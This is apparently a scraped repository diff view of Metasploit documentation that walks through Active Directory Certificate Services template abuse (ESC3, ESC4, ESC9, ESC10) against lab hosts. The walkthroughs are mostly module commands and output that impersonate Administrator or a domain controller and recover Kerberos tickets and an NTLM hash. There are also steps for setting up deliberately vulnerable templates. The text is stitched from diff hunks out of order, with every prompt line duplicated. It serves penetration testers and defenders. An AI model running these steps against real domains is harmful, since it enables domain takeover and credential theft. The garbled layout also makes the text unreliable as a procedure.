CERT_TEMPLATE => ESC2-Template
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
SMBDomain => DAFOREST
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
SMBPass => normalpass
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
SMBUser => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
msf auxiliary(admin/dcerpc/icpr_cert) > show options
Next, we need to use the PFX file that we got to request another certificate to authenticate on behalf of another user. We will use the `PFX` option to specify the PFX file, and the `ON_BEHALF_OF` setting to specify the user we would like to authenticate on behalf of. Finally we will change the certificate template to another certificate template that we are able to enroll in. The default `User` certificate should work here since it allows enrollment by any authenticated domain user.
```msf
msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
msf auxiliary(admin/dcerpc/icpr_cert) > show options
Next, we'll try use this certificate to request another certificate on behalf of a different user. For this stage we need to specify another certificate that is vulnerable to the ESC3_TEMPLATE_2 attack vector that we are able to enroll in. We will use the `User` template for this:
```msf
msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx
msf auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
@@ -774,20 +784,20 @@ the `ESC4-Test` certificate template does not allow the certificate's subject na
`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag is not set in the `msPKI-Certificate-Name-Flag` field).
```msf
msf6 > use auxiliary/admin/dcerpc/icpr_cert
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
msf > use auxiliary/admin/dcerpc/icpr_cert
msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
SMBUser => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
SMBPass => normalpass
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
msf auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
CA => daforest-WIN-BR0CCBA815B-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC4-Test
msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC4-Test
CERT_TEMPLATE => ESC4-Test
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
ALT_UPN => Administrator@daforest.com
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
msf auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85
[-] 172.30.239.85:445 - There was an error while requesting the certificate.
@@ -796,7 +806,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[-] 172.30.239.85:445 - Source: (0x0009) FACILITY_SECURITY: The source of the error code is the Security API layer.
[-] 172.30.239.85:445 - HRESULT: (0x80094812) CERTSRV_E_SUBJECT_EMAIL_REQUIRED: The email name is unavailable and cannot be added to the Subject or Subject Alternate name.
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >
msf auxiliary(admin/dcerpc/icpr_cert) >
```
Next, we use the `ad_cs_cert_template` module to update the `ESC4-Test` certificate template. This process first makes a
@@ -805,20 +815,20 @@ update the object in Active Directory. The local certificate template data can b
descriptor.
```msf
msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 172.30.239.85
msf auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template
msf auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME normaluser
msf auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME normaluser
USERNAME => normaluser
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD normalpass
msf auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD normalpass
PASSWORD => normalpass
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
msf auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
CERT_TEMPLATE => ESC4-Test
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE
msf auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE
ACTION => UPDATE
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true
msf auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
msf auxiliary(admin/ldap/ad_cs_cert_template) > run
[*] Running module against 172.30.239.85
[+] Successfully bound to the LDAP server!
@@ -830,32 +840,32 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
In order to exploit these certificate misconfiguration using Schannel authentication we will need the value of
`CertificateMappingMethods` to be `UPN certificate mapping` (or `All the above values`)
## CT_FLAG_NO_SECURITY_EXTENSION
Certificate templates now include an attribute called `msPKI-Enrollment-Flag`. The `msPKI-Enrollment-Flag` attribute
defines how certificate enrollment behaves by enabling or disabling specific behaviors via a bitmask of flags. If the
attribute contains the value:`0x00080000` (aka `CT_FLAG_NO_SECURITY_EXTENSION`) then the `szOID_NTDS_CA_SECURITY_EXT`
is not included and we can exploit weak certificate mappings even if `StrongCertificateBindingEnforcement` is set to 1.
## Changing userPrincipalName vs dNSHostName
Both can be used to exploit the certificate misconfiguration. It should be noted that normal users don't have a `dNSHostName`
attribute, only machine accounts do.
# Exploiting ESC9
## ESC9 Scenario 1
Pre-requisites:
- `StrongCertificateBindingEnforcement` is set to `1` (if it's set to `0` exploitation will still work but technically you're exploiting ESC10 in that case)
- A vulnerable certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag set.
- The same vulnerable template has the `SubjectAltRequireUPN` flag set.
- The same vulnerable template has a client authentication EKU
- We have credentials of a user who has `GenericWrite` privileges over another user that can enroll in the vulnerable template
```
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
[!] Potentially vulnerable to: ESC9 (the template is in a vulnerable configuration but in order to exploit registry key StrongCertificateBindingEnforcement must not be set to 2)
[*] Notes:
[*] * ESC9: Template has msPKI-Enrollment-Flag set to 0x80000 (CT_FLAG_NO_SECURITY_EXTENSION) and specifies a client authentication EKU and user1 has write privileges over user2 and the template has a subjectAltName (UPN or DNS) requirement
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: Administrator
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
domain administrator. See the [Getting A Kerberos Ticket](#getting-a-kerberos-ticket) section for more information.
## ESC9 Scenario 2
Pre-requisites:
- `StrongCertificateBindingEnforcement` is set to `1` (if it's set to `0` exploitation will still work but technically you're exploiting ESC10 in that case)
- A vulnerable certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag set.
- The same vulnerable template has the `SubjectAltRequireDNS` flag set. <--- (Difference 1/2 between pre-requisites in scenario 1 and 2)
- The same vulnerable template has a client authentication EKU
- We have credentials of a machine account who has `GenericWrite` privileges over another **machine account** that can enroll in the vulnerable template <--- (Difference 2/2 between pre-requisites in scenario 1 and 2)
- Only machine accounts can have the `dNSHostName` attribute set, so our "target_user" needs to be machine account
The option `UPDATE_LDAP_OBJECT` will now be set to `dNSHostName` and because only machine accounts have the `dNSHostName` attribute we will set our `TARGET_USER` to the machine account`Test2$`
We will be changing the `dNSHostName` of the machine account `Test1$` to `DC2.kerberos.issue` (`DC2` is the hostname of the domain controller) in hopes to impersonate the Domain Controller machine account
`CERT_TEMPLATE` will be set to `ESC9-Template-Dns` which is the same template as `ESC9-Template` but with the `SubjectAltRequireDNS` flag set instead of the `SubjectAltRequireUPN` flag.
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "Test2$"
target_username => Test2$
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE dc2.kerberos.issue
UPDATE_LDAP_OBJECT_VALUE => dc2.kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT dnsHostName
UPDATE_LDAP_OBJECT => dNSHostName
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
CA => kerberos-DC2-CA
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC9-Template-Dns
CERT_TEMPLATE => ESC9-Template-Dns
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername Test1$
ldapusername => Test1$
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Reloading module...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717142328_default_172.16.199.200_mit.kerberos.cca_370847.bin
[*] 172.16.199.200:88 - Getting NTLM hash for dc2$@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717142328_default_172.16.199.200_mit.kerberos.cca_596103.bin
[+] Found NTLM hash for dc2$: aad3b435b51404eeaad3b435b51404ee:cceede79c156a295f45e7ad38ee2f884
[*] Auxiliary module execution completed
```
# Exploiting ESC10
## ESC10 Scenario 1
Pre-requisites:
- `StrongCertificateBindingEnforcement` is set to `0`
- Because the above is set to `0` we don't need the `CT_FLAG_NO_SECURITY_EXTENSION` flag set on the vulnerable template
- Other than the above, pre-requisites and exploitation are the exact same as ESC9 Scenario 1
## ESC10 Scenario 2
Pre-requisites:
- `CertificateMappingMethods` is set to `0x0004` (UPN certificate mapping) or `0x001F` (All of the above values)
- The vulnerable template has the `SubjectAltRequireUPN` set
- The same vulnerable template has a client authentication EKU
- We have credentials of a machine account who has `GenericWrite` privileges over another machine account that can enroll in the vulnerable template
In this scenario we can only compromise accounts that do not already have a populated `userPrincipalName` attribute, such as machine accounts and the default domain administrator.
In addition, because this registry key only applies to SChannel authentication we are forced to authenticate to LDAPS once we get a certificate.
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "user2"
target_username => user2
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE 'DC2$@kerberos.issue'
UPDATE_LDAP_OBJECT_VALUE => DC2$@kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT userPrincipalName
UPDATE_LDAP_OBJECT => userPrincipalName
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
CA => kerberos-DC2-CA
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC10-Template
CERT_TEMPLATE => ESC10-Template
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
ldapusername => user1
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
@@ -52,79 +52,4 @@ Microsoft provides a very useful [training module](https://learn.microsoft.com/e
that covers the fundamentals of AD CS and as well as examples which cover the management of certificate enrollment, certificate revocation and certificate trusts.
## Setting up A Vulnerable AD CS Server
The following steps assume that you have installed an AD CS on either a new or existing domain controller.
### Installing AD CS
1. Open the Server Manager
2. Select Add roles and features
3. Select "Active Directory Certificate Services" under the "Server Roles" section
4. When prompted add all of the features and management tools
5. On the AD CS "Role Services" tab, leave the default selection of only "Certificate Authority"
6. Completion the installation and reboot the server
7. Reopen the Server Manager
8. Go to the AD CS tab and where it says "Configuration Required", hit "More" then "Configure Active Directory Certificate..."
9. Select "Certificate Authority" in the Role Services tab
10. Select "Enterprise CA" in the "Setup Type" tab (the user must be a Domain Administrator for this option to be available)
11. Keep all of the default settings, noting the value of the "Common name for this CA" on the "CA Name" tab (this value corresponds to the `CA` datastore option)
12. Accept the rest of the default settings and complete the configuration
### Setting up a ESC1 Vulnerable Certificate Template
1. Open up the run prompt and type in `certsrv`.
2. In the window that appears you should see your list of certification authorities under `Certification Authority (Local)`. Right click on the folder in the drop down marked `Certificate Templates` and then click `Manage`.
3. Scroll down to the `User` certificate. Right click on it and select `Duplicate Template`.
4. From here you can refer to the following [Active-Directory-Certificate-Services-abuse](https://github.com/RayRRT/Active-Directory-Certificate-Services-abuse/blob/3da1d59f1b66dd0e381b2371b8fb42d87e2c9f82/ADCS.md) documentation for screenshots.
5. Select the `General` tab and rename this to something meaningful like `ESC1-Template`, then click the `Apply` button.
6. In the `Subject Name` tab, select `Supply in the request` and click `Ok` on the security warning that appears. Then click the `Apply` button.
7. Scroll to the `Extensions` tab and under `Application Policies` ensure that `Client Authentication`, `Server Authentication`, `KDC Authentication`, or `Smart Card Logon` is listed. Then click the `Apply` button.
8. Under the `Security` tab make sure that `Domain Users` group listed and the `Enroll` permissions is marked as allowed for this group.
9. Under `Issuance Requirements` tab, ensure that under `Require the following for enrollment` that the `CA certificate manager approval` box is unticked, as is the `This number of authorized signatures` box.
10. Click `Apply` and then `Ok`
11. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
12. Scroll down and select the `ESC1-Template` certificate, or whatever you named the ESC1 template you created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC2 Vulnerable Certificate Template
1. Open up `certsrv`
2. Scroll down to `Certificate Templates` folder, right click on it and select `Manage`.
3. Find the `ESC1` certificate template you created earlier and right click on that, then select `Duplicate Template`.
4. Select the `General` tab, and then name the template `ESC2-Template`. Then click `Apply`.
5. Go to the `Subject Name` tab and select `Build from this Active Directory Information` and select `Fully distinguished name` under the `Subject Name Format`. The main idea of setting this option is to prevent being able to supply the subject name in the request as this is more what makes the certificate vulnerable to ESC1. The specific options here I don't think will matter so much so long as the `Supply in the request` option isn't ticked. Then click `Apply`.
6. Go the to `Extensions` tab and click on `Application Policies`. Then click on `Edit`.
7. Delete all the existing application policies by clicking on them one by one and clicking the `Remove` button.
8. Click the `Add` button and select `Any Purpose` from the list that appears. Then click the `OK` button.
9. Click the `Apply` button, and then `OK`. The certificate should now be created.
10. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
11. Scroll down and select the `ESC2-Template` certificate, or whatever you named the ESC2 template you created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC3 Template 1 Vulnerable Certificate Template
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC3-Template1`, then click `Apply`.
2. Go to the `Extensions` tab, click the Application Policies entry, click the `Edit` button, and remove the `Any Purpose` policy and replace it with `Certificate Request Agent`, then click `OK`.
3. Click `Apply`.
4. Go to `Issuance Requirements` tab and double check that both `CA certificate manager approval` and `This number of authorized signatures` are unchecked.
5. Click `Apply` if any changes were made or the button is not grey'd out, then click `OK` to create the certificate.
6. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
7. Scroll down and select the `ESC3-Template1` certificate, or whatever you named the ESC3 template number 1 template you just created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC3 Template 2 Vulnerable Certificate Template
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC3-Template2`, then click `Apply`.
2. Go to the `Extensions` tab, click the Application Policies entry, click the `Edit` button, and remove the `Any Purpose` policy and replace it with `Client Authentication`, then click `OK`.
3. Click `Apply`.
4. Go to `Issuance Requirements` tab and double check that both `CA certificate manager approval` is unchecked.
5. Check the `This number of authorized signatures` checkbox and ensure the value specified is 1, and that the `Policy type required in signature` is set to `Application Policy`, and that the `Application policy` value is `Certificate Request Agent`.
6. Click `Apply` and then click `OK` to issue the certificate.
7. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
8. Scroll down and select the `ESC3-Template2` certificate, or whatever you named the ESC3 template number 2 template you just created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC8 Vulnerable Host
1. Follow instructions for creating an AD CS enabled server
2. Select Add Roles and Features
3. Under "Select Server Roles" expand Active Directory Certificate Services and add `Certificate Enrollment Policy Web Service`, `Certificate Enrollment Web Service`, and `Certificate Authority Web Enrollment`.
4. For each selection, accept the default for any pop-up.
5. Accept the default features and install.
6. When the installation is complete, click on the warning in the Dashboard for post-deployment configuration.
7. Under Credentials, accept the default
8. Under Role Services, select `Certificate Authority Web Enrollment`, `Certificate Enrollment Web Service`, and `Certificate Enrollment Policy Web Service`
9. In CA for CES, accept the defaults
10. In Authentication Types, accept the default integrated authentication
11. In Service account for CES, select `Use built-in application pool identity`
12. Accept default integrated authentication for CEP
13. Select the domain certificate in Server Certificate (the one that starts with the domain name by default) if more than one appears.
14. Accept the remaining defaults.
The steps for setting up a vulnerable AD CS server are covered in the [[Installing AD CS|./ldap_esc_vulnerable_cert_finder.md]] section.
[*] Started reverse TCP handler on 192.168.123.1:4444
[*] 192.168.123.13:445 - Connecting to the server...
@@ -102,8 +102,8 @@ meterpreter >
Connect to a Microsoft SQL Server instance and run a query:
```msf
msf6 > use auxiliary/admin/mssql/mssql_sql
msf6 auxiliary(admin/mssql/mssql_sql) > run 192.168.123.13 domaincontrollerrhost=192.168.123.13 username=administrator password=p4$$w0rd mssql::auth=kerberos mssql::rhostname=dc3.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
msf > use auxiliary/admin/mssql/mssql_sql
msf auxiliary(admin/mssql/mssql_sql) > run 192.168.123.13 domaincontrollerrhost=192.168.123.13 username=administrator password=p4$$w0rd mssql::auth=kerberos mssql::rhostname=dc3.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
[*] Reloading module...
[*] Running module against 192.168.123.13
@@ -142,7 +142,7 @@ Optional options:
* `read-only` -- Stored tickets from the cache will be used, but no new tickets are stored.
* `write-only` -- New tickets are requested and they are stored for reuse.
* `read-write` -- Stored tickets from the cache will be used and new tickets will be stored for reuse.
* `${Prefix}KrbOfferedEncryptionTypes' -- The list of encryption types presented to the KDC as being supported by the Metasploit client. i.e. `SmbKrbOfferedEncryptionTypes=AES256`
* `${Prefix}KrbOfferedEncryptionTypes` -- The list of encryption types presented to the KDC as being supported by the Metasploit client. i.e. `SmbKrbOfferedEncryptionTypes=AES256`
## Ticket management
@@ -150,7 +150,7 @@ When a write-enabled `KrbCacheMode` is used, tickets that are issued to Metasplo
command can be used to view tickets. It is a top level command and can be run even if a module is in use.
```msf
msf6 > klist
msf > klist
Kerberos Cache
==============
host principal sname issued status path
@@ -167,7 +167,7 @@ host principal sname issue
More detailed information can be displayed by using the verbose (`-v` / `--verbose`) option.
```msf
msf6 > klist -v
msf > klist -v
Kerberos Cache
==============
Cache[0]:
@@ -236,7 +236,7 @@ CCACHE files can be viewed with the `loot --type mit.kerberos.ccache` command (t
Some files were not shown because too many files have changed in this diff
Show More
Reference in New Issue
Block a user
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.